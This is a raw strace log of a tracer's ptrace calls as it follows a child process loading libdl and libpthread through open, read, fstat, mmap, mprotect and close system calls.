	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff3e10]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff3e10, [0x62696c2f62696c2f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff3e18, [0x322e6f732e6c64]) = 0
	write(2, "open(\"/lib/libdl.so.2\", O_RDONLY", 32) = 32
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 12) = 12
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd988]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0xde0]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 82) = 82
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd820]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd820, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd828, [0x20b51]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd830, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd838, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd840, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd848, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd850, [0x3968]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd858, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd860, [0x20]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd868, [0x4d81aa69]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd870, [0x360db0b2]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd878, [0x4d39feaf]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd880, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd888, [0x4d8055e9]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd890, [0xecc2d69]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd898, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd8a0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd8a8, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 48) = 48
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x203100]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2109696, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7227000]) = 0
	write(2, ") = 0x7ffff7227000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7229000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x200000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff7229000, 2097152"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7429000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x2000]) = 0
	write(2, "mmap(0x7ffff7429000, 8192, PROT_"..., 95) = 95
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7429000]) = 0
	write(2, ") = 0x7ffff7429000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fed2dd]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2d8, [0x696c2f00302e6f73]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2e0, [0x68747062696c2f62]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2e8, [0x2e6f732e64616572]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fed2f0, [0x68747062696c0030]) = 0
	write(2, "open(\"/lib/libpthread.so.0\", O_R"..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd818]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd818, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd820, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd828, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd830, [0x5ca0]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 82) = 82
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd6b0]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6b0, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6b8, [0x20b43]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6c0, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6c8, [0x81ed]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6d0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6d8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6e0, [0x21383]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6e8, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f0, [0x110]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f8, [0x4d81a77b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd700, [0x494e8e1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd708, [0x4d39feb1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd710, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd718, [0x4d8055e9]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd720, [0xecc2d69]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd728, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd730, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd738, [0]) = 0
	write(2, "{st_mode=S_IFREG|0755, st_size=1"..., 49) = 49
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fdd000]) = 0
	write(2, ") = 0x7ffff7fdd000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x21c3a0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2212768, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff700a000]) = 0
	write(2, ") = 0x7ffff700a000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
